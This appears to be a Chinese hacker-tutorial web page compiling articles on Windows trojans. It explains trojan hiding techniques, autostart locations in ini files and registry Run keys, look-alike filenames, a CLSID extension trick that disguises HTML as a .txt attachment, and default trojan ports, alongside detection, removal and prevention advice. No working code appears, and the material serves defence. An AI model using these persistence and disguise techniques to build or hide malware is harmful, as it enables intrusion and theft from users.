当前位置:首页 > 黑客教程 > 正文内容

木马编程shell(木马编程pdf下载)

hacker2年前 (2022-07-16)黑客教程95

本文目录一览:

谁能教我简单的木马程序,我不是想做木马病毒,而是像知道它的程序是怎么的,最好就是有说明

这个涉及到高级编程~~~~不是容易做的

只要学习如何发现电脑中的木马就可以了~~~~

木马”程序会想尽一切办法隐藏自己,主要途径有:在任务栏中隐藏自己,这是最基本的只要把Form的Visible属性设为False、 ShowInTaskBar设为False,程序运行时就不会出现在任务栏中了。在任务管理器中隐形:将程序设为“系统服务”可以很轻松地伪装自己。当然它也会悄无声息地启动,你当然不会指望用户每次启动后点击“木马”图标来运行服务端,,“木马”会在每次用户启动时自动装载服务端,Windows系统启动时自动加载应用程序的方法,“木马”都会用上,如:启动组、win.ini、system.ini、注册表等等都是“木马”藏身的好地方。下面具体谈谈 “木马”是怎样自动加载的。

在win.ini文件中,在[WINDOWS]下面,“run=”和“load=”是可能加载“木马”程序的途径,必须仔细留心它们。一般情况下,它们的等号后面什么都没有,如果发现后面跟有路径与文件名不是你熟悉的启动文件,你的计算机就可能中上“木马”了。当然你也得看清楚,因为好多“木马”,如 “AOL Trojan木马”,它把自身伪装成command.exe文件,如果不注意可能不会发现它不是真正的系统启动文件。

在system.ini文件中,在[BOOT]下面有个“shell=文件名”。正确的文件名应该是“explorer.exe”,如果不是 “explorer.exe”,而是“shell= explorer.exe 程序名”,那么后面跟着的那个程序就是“木马”程序,就是说你已经中“木马”了。

在注册表中的情况最复杂,通过regedit命令打开注册表编辑器,在点击至:“HKEY-LOCAL- MACHINESoftwareMicrosoftWindowsCurrentVersionRun”目录下,查看键值中有没有自己不熟悉的自动启动文件,扩展名为EXE,这里切记:有的“木马”程序生成的文件很像系统自身文件,想通过伪装蒙混过关,如“Acid Battery v1.0木马”,它将注册表“HKEY-LOCAL- MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun”下的 Explorer 键值改为Explorer=“C:WINDOWSexpiorer.exe”,“木马”程序与真正的Explorer之间只有“i”与“l”的差别。当然在注册表中还有很多地方都可以隐藏“木马”程序,如:“HKEY-CURRENT- USERSoftwareMicrosoftWindowsCurrentVersionRun”、“HKEY- USERS****SoftwareMicrosoftWindowsCurrentVersionRun”的目录下都有可能,最好的办法就是在 “HKEY-LOCAL-MACHINESoftwareMicrosoftWindowsCurrentVersionRun”下找到“木马”程序的文件名,再在整个注册表中搜索即可。

知道了“木马”的工作原理,查杀“木马”就变得很容易,如果发现有“木马”存在,最安全也是最有效的方法就是马上将计算机与网络断开,防止黑客通过网络对你进行攻击。然后编辑win.ini文件,将[WINDOWS]下面,“run=“木马”程序”或“load=“木马”程序”更改为“run=” 和 “load=”;编辑system.ini文件,将[BOOT]下面的“shell=‘木马’文件”,更改为:“shell= explorer.exe”;在注册表中,用regedit对注册表进行编辑,先在“HKEY-LOCAL- MACHINESoftwareMicrosoftWindowsCurrentVersionRun”下找到“木马”程序的文件名,再在整个注册表中搜索并替换掉“木马”程序,有时候还需注意的是:有的“木马”程序并不是直接将“HKEY-LOCAL- MACHINESoftwareMicrosoftWindowsCurrentVersionRun”下的“木马”键值删除就行了,因为有的“木马” 如:BladeRunner“木马”,如果你删除它,“木马”会立即自动加上,你需要的是记下“木马”的名字与目录,然后退回到MS-DOS下,找到此 “木马”文件并删除掉。重新启动计算机,然后再到注册表中将所有“木马”文件的键值删除。至此,我们就大功告成了

木马的工作原理是什么?

“木马”程序是目前比较流行的病毒文件,与一般的病毒不同,它不会自我繁殖,也并不“刻意”地去感染其他文件,它通过将自身伪装吸引用户下载执行,向施种木马者提供打开被种者电脑的门户,使施种者可以任意毁坏、窃取被种者的文件,甚至远程操控被种者的电脑。“木马”与计算机网络中常常要用到的远程控制软件有些相似,但由于远程控制软件是“善意”的控制,因此通常不具有隐蔽性;“木马”则完全相反,木马要达到的是“偷窃”性的远程控制,如果没有很强的隐蔽性的话,那就是“毫无价值”的。

一个完整的“木马”程序包含了两部分:“服务器”和“控制器”。植入被种者电脑的是“服务器”部分,而所谓的“黑客”正是利用“控制器”进入运行了“服务器”的电脑。运行了木马程序的“服务器”以后,被种者的电脑就会有一个或几个端口被打开,使黑客可以利用这些打开的端口进入电脑系统,安全和个人隐私也就全无保障了!

病毒是附着于程序或文件中的一段计算机代码,它可在计算机之间传播。它一边传播一边感染计算机。病毒可损坏软件、硬件和文件。

病毒 (n.):以自我复制为明确目的编写的代码。病毒附着于宿主程序,然后试图在计算机之间传播。它可能损坏硬件、软件和信息。

与人体病毒按严重性分类(从 Ebola 病毒到普通的流感病毒)一样,计算机病毒也有轻重之分,轻者仅产生一些干扰,重者彻底摧毁设备。令人欣慰的是,在没有人员操作的情况下,真正的病毒不会传播。必须通过某个人共享文件和发送电子邮件来将它一起移动。

“木马”全称是“特洛伊木马(TrojanHorse)”,原指古希腊士兵藏在木马内进入敌方城市从而占领敌方城市的故事。在Internet上,“特洛伊木马”指一些程序设计人员(或居心不良的马夫)在其可从网络上下载(Download)的应用程序或游戏外挂、或网页中,包含了可以控制用户的计算机系统或通过邮件盗取用户信息的恶意程序,可能造成用户的系统被破坏、信息丢失甚至令系统瘫痪。

一、木马的特性

特洛伊木马属于客户/服务模式。它分为两大部分,既客户端和服务端。其原理是一台主机提供服务(服务器端),另一台主机接受服务(客户端),作为服务器的主机一般会打开一个默认的端口进行监听。如果有客户机向服务器的这一端口提出连接请求,服务器上的相应程序就会自动运行,来答应客户机的请求。这个程序被称为进程。

木马一般以寻找后门、窃取密码为主。统计表明,现在木马在病毒中所占的比例已经超过了四分之一,而在近年涌起的病毒潮中,木马类病毒占绝对优势,并将在未来的若干年内愈演愈烈。木马是一类特殊的病毒,如果不小心把它当成一个软件来使用,该木马就会被“种”到电脑上,以后上网时,电脑控制权就完全交给了“黑客”,他便能通过跟踪击键输入等方式,窃取密码、信用卡号码等机密资料,而且还可以对电脑进行跟踪监视、控制、查看、修改资料等操作。

二、木马发作特性

在使用计算机的过程中如果您发现:计算机反应速度发生了明显变化,硬盘在不停地读写,鼠标不听使唤,键盘无效,自己的一些窗口在被关闭,新的窗口被莫名其妙地打开,网络传输指示灯一直在闪烁,没有运行大的程序,而系统却越来越慢,系统资源站用很多,或运行了某个程序没有反映(此类程序一般不大,从十几k到几百k都有)或在关闭某个程序时防火墙探测到有邮件发出……这些不正常现象表明:您的计算机中了木马病毒。

三、木马的工作原理以及手动查杀介绍

由于大多玩家对安全问题了解不多,所以并不知道自己的计算机中了“木马”该怎么样清除。因此最关键的还是要知道“木马”的工作原理,这样就会很容易发现“木马”。相信你看了这篇文章之后,就会成为一名查杀“木马”的高手了。(如果成不了高手建议大家用皮筋打斑竹家玻璃,嘿嘿)

“木马”程序会想尽一切办法隐藏自己,主要途径有:在任务栏中隐藏自己,这是最基本的只要把Form的Visible属性设为False。ShowInTaskBar设为False,程序运行时就不会出现在任务栏中了。在任务管理器中隐形:将程序设为“系统服务”可以很轻松地伪装自己。

A、启动组类(就是机器启动时运行的文件组)

当然木马也会悄无声息地启动,你当然不会指望用户每次启动后点击“木马”图标来运行服务端,(没有人会这么傻吧??)。“木马”会在每次用户启动时自动装载服务端,Windows系统启动时自动加载应用程序的方法,“木马”都会用上,如:启动组、win.ini、system.ini、注册表等等都是“木马”藏身的好地方。通过win.ini和system.ini来加载木马。在Windows系统中,win.ini和system.ini这两个系统配置文件都存放在C:windows目录下,你可以直接用记事本打开。可以通过修改win.ini文件中windows节的“load=file.exe,run=file.exe”语句来达到木马自动加载的目的。此外在system.ini中的boot节,正常的情况下是“Shell=Explorer.exe”(Windows系统的图形界面命令解释器)。下面具体谈谈“木马”是怎样自动加载的。

1、在win.ini文件中,在[WINDOWS]下面,“run=”和“load=”是可能加载“木马”程序的途径,必须仔细留心它们。一般情况下,它们的等号后面什么都没有,如果发现后面跟有路径与文件名不是你熟悉的启动文件,你的计算机就可能中上“木马”了。当然你也得看清楚,因为好多“木马”,如“AOLTrojan木马”,它把自身伪装成command.exe文件,如果不注意可能不会发现它不是真正的系统启动文件。

通过c:windowswininit.ini文件。很多木马程序在这里做一些小动作,这种方法往往是在文件的安装过程中被使用,程序安装完成之后文件就立即执行,与此同时安装的原文件被Windows删除干净,因此隐蔽性非常强,例如在wininit.ini中如果Rename节有如下内容:NUL=c:windowspicture.exe,该语句将c:windowspicture.exe发往NUL,这就意味着原来的文件pictrue.exe已经被删除,因此它运行起来就格外隐蔽。

2、在system.ini文件中,在[BOOT]下面有个“shell=文件名”。正确的文件名应该是“explorer.exe”,如果不是“explorer.exe”,而是“shell=explorer.exe程序名”,那么后面跟着的那个程序就是“木马”程序,就是说你已经中“木马”了。

win.ini、system.ini文件可以通过“开始”菜单里的“运行”来查看。只要在“运行”对话框中输入“msconfig”,后点击“确定”按钮就行了。(这里大家一定要注意,如果你对计算机不是很了解,请不要输入此命令或删除里边的文件,否则一切后果和损失自己负责。斑竹和本人不承担任何责任。)

3、对于下面所列的文件也要勤加检查,木马们也可能隐藏在

C:\windows\winstart.bat和C:\windows\winnint.ini,还有Autoexec.bat

B、注册表(注册表就是注册表,懂电脑的人一看就知道了)

1、从菜单中加载。如果自动加载的文件是直接通过在Windows菜单上自定义添加的,一般都会放在主菜单的“开始-程序-启动”处,在Win98资源管理器里的位置是“C:windowsstartmenuprograms启动”处。通过这种方式使文件自动加载时,一般都会将其存放在注册表中下述4个位置上:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellFolders

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserS!hellFolders

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\UserShellFolders

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\ShellFolders

2、在注册表中的情况最复杂,在点击至:“HKEY-LOCAL-MACHINE\Software\Microsoft\Windows\CurrentVersion\Run”目录下,查看键值中有没有自己不熟悉的自动启动文件,扩展名为EXE,这里切记:有的“木马”程序生成的文件很像系统自身文件,想通过伪装蒙混过关,如“AcidBatteryv1.0木马”,它将注册表“HKEY-LOCAL-MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run”下的Explorer键值改为Explorer=“C:\WINDOWS\expiorer.exe”,“木马”程序与真正的Explorer之间只有“i”与“l”的差别。当然在注册表中还有很多地方都可以隐藏“木马”程序,如:“HKEY-CURRENT-USER\Software\Microsoft\Windows\CurrentVersion\Run”、“HKEY-USERS\****\Software\Microsoft\Windows\CurrentVersion\Run”的目录下都有可能,最好的办法就是在“HKEY-LOCAL-MACHINE\Software\Microsoft\Windows\CurrentVersion\Run”下找到“木马”程序的文件名,再在整个注册表中搜索即可。

3、此外在注册表中的HKEY_CLASSES_ROOT\exefile\shell\open\command=

“1”“*”处,如果其中的“1”被修改为木马,那么每次启动一个该可执行文件时木马就会启动一次,例如著名的冰河木马就是将TXT文件的Notepad.exe改成!了它自己的启动文件,每次打开记事本时就会自动启动冰河木马,做得非常隐蔽。

注册表可以通过在“运行”对话框中输入“regedit”来查看。需要说明的是,对系统注册表进行删除修改操作前一定要将注册表备份,因为对注册表操作有一定的危险性,加上木马的隐藏较隐蔽,可能会有一些误操作,如果发现错误,可以将备份的注册表文件导入到系统中进行恢复。(次命令同样很危险,如不懂计算机请不要尝试。切记)

C、端口(端口,其实就是网络数据通过操作系统进入计算机的入口)

1、万变不离其宗,木马启动都有一个方式,它只是在一个特定的情况下启动。所以平常多注意你的端口。一般的木马默认端口有

BO31337,YAL1999,Deep2140,Throat3150,冰河7636,Sub71243

那么如何查看本机开放哪些端口呢?

在dos里输入以下命令:netstat-an,就能看到自己的端口了,一般网络常用端口有:21,23,25,53,80,110,139,如果你的端口还有其他的,你可要注意了,因为现在有许多木马可以自己设定端口。(上面这些木马的端口是以前的,由于时间和安全的关系现在好多新木马的端口我不知道,也不敢去试,因为技术更新的太快了,我跟不上了。55555555555555)

2、由于木马的运行常通过网络的连接来实现的,因此如果发现可疑的网络连接就可以推测木马的存在,最简单的办法是利用Windows自带的Netstat命令来查看。一般情况下,如果没有进行任何上网操作,在MS-DOS窗口中用Netstat命令将看不到什么信息,此时可以使用“netstat-a”,“-a”选项用以显示计算机中目前所有处于监听状态的端口。如果出现不明端口处于监听状态,而目前又没有进行任何网络服务的操作,那么在监听该端口的很可能是木马。

3、系统进程:

在Win2000/XP中按下“CTL+ALT+DEL”,进入任务管理器,就可看到系统正在运行的全部进程,一一清查即可发现木马的活动进程。

在Win98下,查找进程的方法不那么方便,但有一些查找进程的工具可供使用。通过查看系统进程这种方法来检测木马非常简便易行,但是对系统必须熟悉,因为Windows系统在运行时本身就有一些我们不是很熟悉的进程在运行着,因此这个时候一定要小心操作,木马还是可以通过这种方法被检测出来的。

四、软件查杀木马介绍

上面所介绍的都是以手工方式来检测或者清除木马,但一般情况下木马没有那么容易就能发现,木马是很会隐藏的哦。幸好在已经有了不少的反木马软件。下面介绍几款软件,

1、瑞星杀毒软件。

2、个人版天网防火墙。根据反弹式木马的原理,就算你中了别人的木马,但由于防火墙把你的计算机和外界隔开,木马的客户端也连接不上你。防火墙启动之后,一旦有可疑的网络连接或者木马对电脑进行控制,防火墙就会报警,同时显示出对方的IP地址、接入端口等提示信息,通过手工设置之后即可使对方无法进行攻击。不过对于一些个别机器来说,运行天网会影响机器的运行速度。

3、木马克星。目前具我所知,是只查杀木马的软件,也是能查杀木马种类最多的软件。顾名思义,木马克星不克乾坤无敌槌也不克北冥槌法,专克各种木马。但也不是绝对哦,好象“灰鸽子”能屏蔽掉木马克星。(听说而已没试过哦。“灰鸽子”也是一种木马,和冰河差不多。)(现在木马克星大多是没注册的版本。用木马克星查木马时,要是提示你发现木马只有注册用户才能清除,这只是作者的一个小手段,其实他的意思是如果发现木马,那么只有注册用户才能清楚,要是真的发现了木马,软件会告诉你木马的具体位置和名字是什么。我们用其他的软件和手段清除不就行了)

4。绿鹰PC万能精灵。他会实时监控你的计算机,看着“系统安全”心理舒服多了。

有了类似的这些防护软件,你的计算机基本上是安全了。但道高一尺,魔高一丈。最近又出现了一种可以把木马伪装易容的程序(不知道是哪个高手搞的,很是厉害),就是把木马本体根据排列组合生成多个木马,而杀毒软件只能查杀他们的母体。而后生成的木马就不能查到了,所以手动人工的清除木马我们还是要掌握一些地。

软件查杀其他病毒很有效,对木马的检查也是蛮成功地,但彻底地清除不很理想,因为一般情况下木马在电脑每次启动时都会自动加载,而杀病毒软件却不能完全清除木马文件,总的说来,杀病毒软件作为防止木马的入侵来说更有效。

五、木马的防御

随着网络的普及和网络游戏装备可以换人民币的浪潮,木马的传播越来越快,而且新的变种层出不穷,我们在检测清除它的同时,更要注意采取措施来预防它,下面列举几种预防木马的方法。(大家的意见,我借用而已)

1、不要下载、接收、执行任何来历不明的软件或文件

很多木马病毒都是通过绑定在其他的软件或文件中来实现传播的,一旦运行了这个被绑定的软件或文件就会被感染,因此在下载的时候需要特别注意,一般推荐去一些信誉比较高的站点。在软件安装之前一定要用反病毒软件检查一下,建议用专门查杀木马的软件来进行检查,确定无毒和无马后再使用。

2、不要随意打开邮件的附件,也不要点击邮件中的可疑图片。(后边另外介绍一个关于邮件的例子,大家注意收看。)

3、将资源管理器配置成始终显示扩展名。将Windows资源管理器配置成始终显示扩展名,一些文件扩展名为vbs、shs、pif的文件多为木马病毒的特征文件,如果碰到这些可疑的文件扩展名时就应该引起注意。

4、尽量少用共享文件夹。如果因工作等原因必须将电脑设置成共享,则最好单独开一个共享文!件夹,把所有需共享的文件都放在这个共享文件夹中,注意千万不要将系统目录设置成共享。

5、运行反木马实时监控程序。木马防范重要的一点就是在上网时最好运行反木马实时监控程序,PC万用精灵等软件一般都能实时显示当前所有运行程序并有详细的描述信息。此外如加上一些专业的最新杀毒软件、个人防火墙等进行监控基本就可以放心了。

6、经常升级系统。很多木马都是通过系统漏洞来进行攻击的,微软公司发现这些漏洞之后都会在第一时间内发布补丁,很多时候打过补丁之后的系统本身就是一种最好的木马防范办法。

六、木马传播的个别范例(给大家介绍一个邮件类的)

1、来自网络的攻击手段越来越多了,一些带木马的恶意网页会利用软件或系统操作平台等的安全漏洞,通过执行嵌入在网页HTML超文本标记语言内的JavaApplet小应用程序、javascript脚本语言程序、ActiveX软件部件交互技术支持可自动执行的代码程序,强行修改用户操作系统的注册表及系统实用配置程序,从而达到非法控制系统资源、破坏数据、格式化硬盘、感染木马程序、盗取用户数据资料等目的。

目前来自网页的攻击分为两种:一种是通过编辑的脚本程序修改IE浏览器;另外一种是直接破坏Windows系统。前者一般会修改IE浏览器的标题栏、默认主页或直接将木马“种”在你的机器里等等;后者是直接锁定你的键盘、鼠标等输入设备然后对系统进行破坏。

(作者插言):还好目前盗取千年用户名和密码的“木马”功能还仅仅是偷盗行为,没有发展成破坏行为。要不然号被盗了,在顺便把硬盘被格式化了。那样想第一时间找回密码就都没可能。希望这种情况不要发生。(啊门我弥佗佛)

下边是正题了,大家看仔细了!

假如您收到的邮件附件中有一个看起来是这样的文件(或者貌似这类文件,总之是特别诱人的文件,而且格式还很安全。):QQ靓号放送.txt,您是不是认为它肯定是纯文本文件?我要告诉您,不一定!它的实际文件名可以是QQ靓号放送.txt.{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B}。

{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B}在注册表里是HTML文件关联的意思。但是存成文件名的时候它并不会显现出来,您看到的就是个.txt文件,这个文件实际上等同于QQ靓号放送.txt.html。那么直接打开这个文件为什么有危险呢?请看如果这个文件的内容如下:

您可能以为它会调用记事本来运行,可是如果您双击它,结果它却调用了HTML来运行,并且自动在后台开始通过网页加载木马文件。同时显示“正在打开文件”之类的这样一个对话框来欺骗您。您看随意打开附件中的.txt的危险够大了吧?

欺骗实现原理:当您双击这个伪装起来的.txt时候,由于真正文件扩展名是.{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B},也就是.html文件,于是就会以html文件的形式运行,这是它能运行起来的先决条件。

在某些恶意网页木马中还会调用“WScript”。

WScript全称WindowsScriptingHost,它是Win98新加进的功能,是一种批次语言/自动执行工具——它所对应的程序“WScript.exe”是一个脚本语言解释器,位于c:\WINDOWS下,正是它使得脚本可以被执行,就象执行批处理一样。在WindowsScriptingHost脚本环境里,预定义了一些对象,通过它自带的几个内置对象,可以实现获取环境变量、创建快捷方式、加载程序、读写注册表等功能。

最近听不少玩家反映,许多马夫通过冒充千年官方网站的办法给玩家发名字类似“您的千年密码确认函”、“您的千年资料保护建议”等的邮件,来骗取玩家的信任,来点击运行该木马邮件。希望广大玩家在点击这类邮件时一定要看清邮件是否来自于千年官方网站。如是来自其他什么网站或个人邮箱的,马上删除,记得一定要马上删除,别抱任何侥幸心理。

七、关于“木马”的防御(纯属个人意见,不付法律责任)

防止木马对在家上网来说是很简单的事,无非就是装一大堆杀毒软件,并及时升级。(再新的木马只要传播速度快的话很快就会成为各种杀毒软件的战利品,除非此人专门定做个人木马)在加上天网防火墙(很多黑客就是利用口令和漏洞进行远程控制,该防火墙可以防止口令和漏洞入侵)基本上就可以解决问题啦,除非是自己好奇或是不小心打开了木马服务端,我想这种情况还是占一定的比例!

但是对网吧上网的来说,再好的防御也是白撤。

据我所知,现在的网吧安全系数几乎等于00000000,现在最厉害的应该就是装个还“原精灵吧”,但是......我个人认为那东西用处不是很大,说是保护用户密码还不如说它是网吧保护系统的一种软件。现在的木马一般都是通过邮件方式传送密码的,也就是说,你只要在输入框内输入你的密码之后,木马控制方就已经得到你的ID和密码了(一般不会超过三分钟)!对网吧上网的朋友来说,靠复制方法输入ID和密码算最安全的了,很多木马程序实际上就是一个键盘记录工具,在你不知情的情况下把你的键盘输入情况全部记录了下来,然后通过网络发送出去!(好可怕哦,不过具我所知现在公安部和文化部已经明令禁止网吧安装还原精灵了,说是为了保留历史记录云云。唉~~就这么点防御手段也给封杀了,哭哦)

总之,家庭上网用户记得随时更新自己的病毒库,随时检查计算机进程,发现不明进程马上格杀,不浏览一些不明站点(我通常是靠域名来分析站点的可靠程度,一般一级域名都不会出现恶意代码和网页木马),更别随意接收别人给你发送的文件和邮件!

网吧防盗真的很困难了,什么人都有,复杂了,就算老板花钱去注册一个木马克星,呵呵。。。都没用,想做坏事的人同样能把他干掉~~~~我个人认为,网吧上网除了复制ID密码粘贴到输入框,其他的就得听天由命了~~~~~

八、关于大家都用的醉翁巷1.1G的说明

用了人家的软件,就总要替人家说句公道话。前些时候,有人说醉翁1.1G软件运行后,没什么反映。当关闭软件的一刹那,一些防护类软件提示:此软件正在监视本机键盘!!

其实就是醉翁巷中的hook.dll文件在作怪。下面给大家说说“勾子”的我问题。

什么是勾子

在Windows系统中,勾子(hook)是一种特殊的消息处理机制。勾子可以监视系统或进程中的各种事件消息,截获发往目标窗口的消息并进行处理。这样,我们就可以在系统中安装自定义的勾子,监视系统中特定事件的发生,完成特定的功能,比如截获键盘、鼠标的输入,屏幕取词,日志监视等等。可见,利用勾子可以实现许多特殊而有用的功能。因此,对于高级编程人员来说,掌握勾子的编程方法是很有必要的。

勾子的类型

按使用范围分类,主要有线程勾子和系统勾子

(1)线程勾子监视指定线程的事件消息。

(2)系统勾子监视系统中的所有线程的事件消息。因为系统勾子会影响系统中所有的应用程序,所以勾子函数必须放在独立的动态链接库(DLL)中。这是系统勾子和线程勾子很大的不同之处。

醉翁巷中的hook.dll就是完成以上功能的程序,由于勾子对程序的特殊性,所以会有部分软件报告发现他在记录键盘动作,不过不会报告说他是木马。(呵呵搞的确实挺吓人的。不过就算它记录键盘动作,只要不发送就没太大危险了)

九、大总结(就是对上边的大总结啦)

大家知道了“木马”的工作原理,查杀“木马”就变得很容易,如果发现有“木马”存在,最安全也是最有效的方法就是马上将计算机与网络断开,防止黑客通过网络对你进行攻击。然后在根据实际情况进行处理。

下面给大家说一下我机器的防护装备:(一共就5样)

XFILTER个人防火墙:这个防火墙没什么防病毒的功能,它只监视所有未经过我个人许可的程序连接网络。任何程序连接网络它都会通告并询问。比如安装完该软件“第一次”运行千年,它会提示你C:\ProgramFiles\1000y\Client.exe要连接网络,是否放行。它就是这样来防范的。

瑞星杀毒软件:以杀各种恶意病毒和木马为主,2004版专门提供游戏保护。

还原精灵:记录当前硬盘和系统信息。不管以后对硬盘和系统进行什么操作都能还原成初始模样。比如我们2003年11月1日对当前C硬盘和系统进行备份保存,2003年12月1日由于感染木马,对系统进行还原,还原后所有东西都会回到2003年11月1日备份是的样子。不论你在C盘上进行了什么操作,都会变回备份时的样子。这个软件就有一个缺点,会影响机器的启动速度。但不影响机器的运行。最近还有朋友反映新版本和某些游戏有冲突。

木马克星:这个我就不多说了,网络游戏玩家必备的东东。

十六进制编译器:具体名字我就不说了,有兴趣的朋友随便找一个用就行了。主要是对一些可疑程序进行扫描和检测。

以上各个软件在各大门户网站和各大下载专业网站都可以找到,在这里小女子就不提供网址了,避免不必要的麻烦。

木马程序是什么?

在我潜意识中说起“木马”马上就联想到三国时期诸葛亮先生发明的木牛流马,当初怎么就想不通它与病毒扯上关系了。经过一番了解,原来它是借用了一个古希腊士兵藏在木马中潜入敌方城市,从而一举占领敌方城市的故事,因为现在所讲的木马病毒侵入远程主机的方式在战略上与其攻城的方式一致。通个这样的解释相信大多数朋友对木马入侵主机的方式所有领悟:它就是通过潜入你的电脑系统,通过种种隐蔽的方式在系统启动时自动在后台执行的程序,以“里应外合”的工作方式,用服务器/客户端的通讯手段,达到当你上网时控制你的电脑,以窃取你的密码、游览你的硬盘资源,修改你的文件或注册表、偷看你的邮件等等。

一旦你的电脑被它控制,则通常表现为蓝屏然死机;CD-ROM莫名其妙地自己弹出;鼠标左右键功能颠倒或者失灵或文件被删除;时而死机,时而又重新启动;在没有执行什么操作的时候,却在拼命读写硬盘;系统莫明其妙地对软驱进行搜索;没有运行大的程序,而系统的速度越来越慢,系统资源占用很多;用CTRL+ALT+DEL调出任务表,发现有多个名字相同的程序在运行,而且可能会随时间的增加而增多等等。

不过要知道,即使发现了你的机器染上木马病毒,也不必那么害怕,因为木马病毒与一般病毒在目的上有很大的区别,即使木马运行了,也不一定会对你的机器造成危害。但肯定有坏处,你的上网密码有可能已经跑到别人的收件箱里了,这样黑客们就可以盗用你的上网账号上网了!木马程序也是病毒程序的一类,但更具体的被认为黑客程序,因为它入侵的目的是为发布这些木马程序的人,即所谓的黑客服务的。

本文将就木马的一些特征、木马入侵的一些常用手法及清除方法以及如何避免木马的入侵以及几款常见木马程序的清除四个方面作一些综合说明。

木马的基本特征

木马是病毒的一种,同时木马程序又有许多种不同的种类,那是受不同的人、不同时期开发来区别的,如BackOrifice(BO)、BackOrifice2000、Netspy、Picture、Netbus、Asylum、冰河等等这些都属于木马病毒种类。综合现在流行的木马程序,它们都有以下基本特征:

1、隐蔽性是其首要的特征

如其它所有的病毒一样,木马也是一种病毒,它必需隐藏在你的系统之中,它会想尽一切办法不让你发现它。很多人的对木马和远程控制软件有点分不清,因为我前面讲了木马程序就要通过木马程序驻留目标机器后通过远程控制功能控制目标机器。实际上他们两者的最大区别就是在于这一点,举个例子来说吧,象我们进行局域网间通讯的常软件——PCanywhere大家一定不陌生吧,大家也知道它是一款远程通讯软件。PCanwhere在服务器端运行时,客户端与服务器端连接成功后客户端机上会出现很醒目的提示标志。而木马类的软件的服务器端在运行的时候应用各种手段隐藏自己,不可能还出现什么提示,这些黑客们早就想到了方方面面可能发生的迹象,把它们扼杀了。例如大家所熟悉木马修改注册表和ini文件以便机器在下一次启动后仍能载入木马程式,它不是自己生成一个启动程序,而是依附在其它程序之中。有些把服务器端和正常程序绑定成一个程序的软件,叫做exe-binder绑定程式,可以让人在使用绑定的程式时,木马也入侵了系统,甚至有个别木马程序能把它自身的exe文件和服务器端的图片文件绑定,在你看图片的时候,木马也侵入了你的系统。 它的隐蔽性主要体现在以下两个方面:

a、不产生图标

它虽然在你系统启动时会自动运行,但它不会在“任务栏”中产生一个图标,这是容易理解的,不然的话,凭你的火眼金睛你一定会发现它的。我们知道要想在任务栏中隐藏图标,只需要在木马程序开发时把“Form”的“Visible ”属性设置为“False”、把“ShowintaskBar”属性设置为“Flase”即可;

b、木马程序自动在任务管理器中隐藏,并以“系统服务”的方式欺骗操作系统。

2、它具有自动运行性

它是一个当你系统启动时即自动运行的程序,所以它必需潜入在你的启动配置文件中,如win.ini、system.ini、winstart.bat以及启动组等文件之中。

3、木马程序具有欺骗性

木马程序要达到其长期隐蔽的目的,就必需借助系统中已有的文件,以防被你发现,它经常使用的是常见的文件名或扩展名,如“dll\win\sys\explorer等字样,或者仿制一些不易被人区别的文件名,如字母“l”与数字“1”、字母“o”与数字“0”,常修改基本个文件中的这些难以分辨的字符,更有甚者干脆就借用系统文件中已有的文件名,只不过它保存在不同路径之中。还有的木马程序为了隐藏自己,也常把自己设置成一个ZIP文件式图标,当你一不小心打开它时,它就马上运行。等等这些手段那些编制木马程序的人还在不断地研究、发掘,总之是越来越隐蔽,越来越专业,所以有人称木马程序为“骗子程序”。

4、具备自动恢复功能

现在很多的木马程序中的功能模块已不再是由单一的文件组成,而是具有多重备份,可以相互恢复。

5、能自动打开特别的端口

木马程序潜入人的电脑之中的目的不主要为了破坏你的系统,更是为了获取你的系统中有用的信息,这样就必需当你上网时能与远端客户进行通讯,这样木马程序就会用服务器/客户端的通讯手段把信息告诉黑客们,以便黑客们控制你的机器,或实施更加进一步入侵企图。你知不知道你的电脑有多少个对外的“门”,不知道吧,告诉你别吓着,根据TCP/IP协议,每台电脑可以有256乘以256扇门,也即从0到65535号“门,但我们常用的只有少数几个,你想有这么门可以进,还能进不来?当然有门我们还是可以关上它们的,这我在预防木马的办法中将会讲到。

6、 功能的特殊性

通常的木马的功能都是十分特殊的,除了普通的文件操作以外,还有些木马具有搜索cache中的口令、设置口令、扫描目标机器人的IP地址、进行键盘记录、远程注册表的操作、以及锁定鼠标等功能,上面所讲的远程控制软件的功能当然不会有的,毕竟远程控制软件是用来控制远程机器,方便自己操作而已,而不是用来黑对方的机器的。

7、黑客组织趋于公开化

以往还从未发现有什么公开化的病毒组织(也许是我孤陋寡闻),多数病毒是由个别人出于好奇(当然也有专门从事这一职业的),想试一下自己的病毒程序开发水平而做的,但他(她)绝对不敢公开,因为一旦发现是有可能被判坐牢或罚款的,这样的例子已不再什么新闻了。如果以前真的也有专门开发病毒的病毒组织,但应绝对是属于“地下”的。现在倒好,什么专门开发木马程序的组织到处都是,不光存在,而且还公开在网上大肆招兵买马,似乎已经合法化。正因如此所以黑客程序不断升级、层出不穷,黑的手段也越来越高明。我不知道为什么,但据讲其理由是“为了自卫、为了爱国” 。

木马入侵的常用手法及清除方法

虽然木马程序千变万化,但正如一位木马组织的负责人所讲,大多数木马程序没有特别的功能,入侵的手法也差不多,只是以前有关木马程序的重复,只是改了个名而已,现在他们都要讲究效率,据说他们要杜绝重复开发,浪费资源。当然我们也只能讲讲以前的一些通用入侵手法,因为我们毕竟不是木马的开发者,不可能有先知先觉。

1、在win.ini文件中加载

一般在win.ini文件中的[windwos]段中有如下加载项:

run= load= ,一般此两项为空,如图1所示。

图1

如果你发现你的系统中的此两项加载了任何可疑的程序时,应特别当心,这时可根据其提供的源文件路径和功能进一步检查。我们知道这两项分别是用来当系统启动时自动运行和加载程序的,如果木马程序加载到这两个子项中之后,那么当你的系统启动后即可自动运行或加载了。当然也有可能你的系统之中确是需要加载某一程序,但你要知道这更是木马利用的好机会,它往往会在现有加载的程序文件名之后再加一个它自己的文件名或者参数,这个文件名也往往用你常见的文件,如command.exe、sys.com等来伪装。

2、在System.ini文件中加载

我们知道在系统信息文件system.ini中也有一个启动加载项,那就是在[BOOT]子项中的“Shell”项,如图2所示。

图2

